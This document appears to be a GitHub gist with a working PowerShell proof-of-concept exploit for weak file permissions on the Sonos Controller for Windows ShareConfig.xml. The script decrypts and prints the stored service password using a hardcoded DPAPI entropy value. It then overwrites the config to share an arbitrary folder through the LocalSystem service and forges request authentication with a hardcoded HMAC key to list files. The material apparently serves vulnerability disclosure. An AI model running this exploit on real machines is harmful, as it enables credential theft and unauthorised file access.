Sonos Controller for Windows ShareConfig.xml weak file permissions
# load System.Security for HMAC-SHA256 | |
Add-Type -AssemblyName System.Security | |
$ip = "127.0.0.1" | |
$port = 3445 | |
$configPath = "$env:ProgramData\Sonos,_Inc\runtime\ShareConfig.xml" | |
$sharePath = "$env:windir\media" | |
# the entropy value is hardcoded in the service and used for encrypting and decrypting the password of the Sonos user (DPAPI) | |
$entropy = [System.Text.Encoding]::Unicode.GetBytes("e51bd1fb-2783-4261-95b8-027afc69e8af"); | |
# the hash key is a hardcoded value used by the service to authenticated the GET/HEAD request | |
$hashKey = [Byte[]] (111, 228, 49, 131, 143, 228, 5, 2, 87, 208, 9, 17, 255, 208, 1, 0, 240, 228, 5, 160, 15, 229, 161, 3, 63, 209, 1, 4, 18, 210, 9, 0) | |
# see if we have a config file, if not create it and start the service | |
if(-Not (Test-Path $configPath -PathType Leaf)) | |
{ | |
Write-Host "[-] $configPath doesn't exist" | |
Exit | |
} | |
# read the configuration file and decrypt the password | |
Write-Host "[-] Trying to parse $configPath" | |
[xml]$shareConfig = Get-Content $configPath | |
$username = $shareConfig.shares.credentials.username | |
$password = $shareConfig.shares.credentials.password | |
$password = [System.Convert]::FromBase64String($password) | |
$password = [Security.Cryptography.ProtectedData]::Unprotect($password, $entropy, [Security.Cryptography.DataProtectionScope]::LocalMachine) | |
$password = [System.Text.Encoding]::Unicode.GetString($password) | |
Write-Host "[+] Username: $username" | |
Write-Host "[+] Password: $password" | |
foreach($share in $shareConfig.SelectNodes("//shares/*")) | |
{ | |
if(!$share.Name.Equals("credentials")) | |
{ | |
Write-Host "[+] Share" $share.Name "["$share.Path"]" | |
} | |
} | |
# the config file and parent directory has weak NTFS permissions | |
# we can overwrite this file and share any folder on the system (the service runs as LocalSystem) | |
Write-Host "[-] Backing up $configPath" | |
Rename-Item -Path $configPath -NewName $configPath".O" | |
$newUsername = "PoC" | |
$newPassword = [System.Text.Encoding]::Unicode.GetBytes("P@ssw0rd") | |
$newPassword = [Security.Cryptography.ProtectedData]::Protect($newPassword, $entropy, [Security.Cryptography.DataProtectionScope]::LocalMachine) | |
$newPassword = [System.Convert]::ToBase64String($newPassword) | |
Write-Host "[-] Creating new configuration file" | |
$newConfig = @" | |
<?xml version="1.0" encoding="utf-8"?> | |
<shares> | |
<share name="Share" path="$sharePath" /> | |
<credentials> | |
<username>$newUsername</username> | |
<password>$newPassword</password> | |
</credentials> | |
</shares> | |
"@ | |
Set-Content -Path $configPath -Value $newConfig -Encoding UTF8 | |
try | |
{ | |
$url = "/Share" | |
# calculate the Authetication header | |
$hmac = New-Object System.Security.Cryptography.HMACSHA256 | |
$hmac.key = $hashKey | |
$auth = $hmac.ComputeHash([System.Text.Encoding]::UTF8.GetBytes("$url${newUsername}P@ssw0rd")) | |
$auth = [System.BitConverter]::ToString($auth).Replace('-', '') | |
# call the local webservice | |
$web = New-Object Net.WebClient | |
$web.Headers.Add("Authorization", "Hash $auth") | |
[xml]$dirListing = $web.DownloadString("http://${ip}:$port$url") | |
Write-Host "[-] Listing files from $sharePath" | |
foreach($entry in $dirListing.SelectNodes("//readdir/*")) | |
{ | |
if($entry.Name.Equals("file")) | |
{ | |
Write-Host "[+] $($entry.'#text')" | |
} | |
} | |
} | |
finally | |
{ | |
# restore config | |
Write-Host "[-] Restoring $configPath" | |
Remove-Item -Path $configPath | |
Rename-Item -Path $configPath".O" -NewName $configPath | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment